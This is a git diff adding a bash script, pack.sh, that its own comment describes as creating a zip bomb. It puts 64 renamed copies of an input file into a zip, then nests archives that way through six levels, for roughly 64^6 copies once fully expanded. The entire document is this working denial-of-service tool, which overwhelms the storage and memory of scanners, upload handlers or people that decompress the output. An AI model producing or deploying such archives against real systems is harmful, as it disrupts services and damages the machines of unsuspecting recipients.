diff --git a/pack.sh b/pack.sh
new file mode 100755
index 0000000..70949d5
--- /dev/null
+++ b/pack.sh
@@ -0,0 +1,39 @@
+#!/bin/bash
+
+# This sctipt takes a inputfile and creates a zip bomb with it
+
+COUNTS="64"
+PREFIXLIST="page chapter book shelf floor library"
+
+#returns the fileextention of a file
+function getExt {
+	extension="${1##*.}"
+	if [ "$extension" == "$1" ]; then
+		printf ""
+	else
+		printf ".$extension"
+	fi
+}
+
+function add { # $1 origfile $2 zipfile $3 inzipname
+	#add file to archive
+	zip -9 -q "$2" "$1"
+	#rename
+	printf "@ $1\n@=$3\n" | zipnote -w "$2"
+}
+
+function pack {  # $1 prefix $2 count $3 outputzipfile $4inputfile
+	ext=$(getExt "$4")
+	for (( c=0; c<$2; c++ )); do
+		add "$4" "$3" "$1$c$ext"
+	done
+}
+
+input="$1"
+
+for pref in $PREFIXLIST; do
+	echo "create a $pref"
+	pack "$pref" "$COUNTS" "tmp2.zip" "$input"
+	mv "tmp2.zip" "tmp.zip"
+	input="tmp.zip"
+done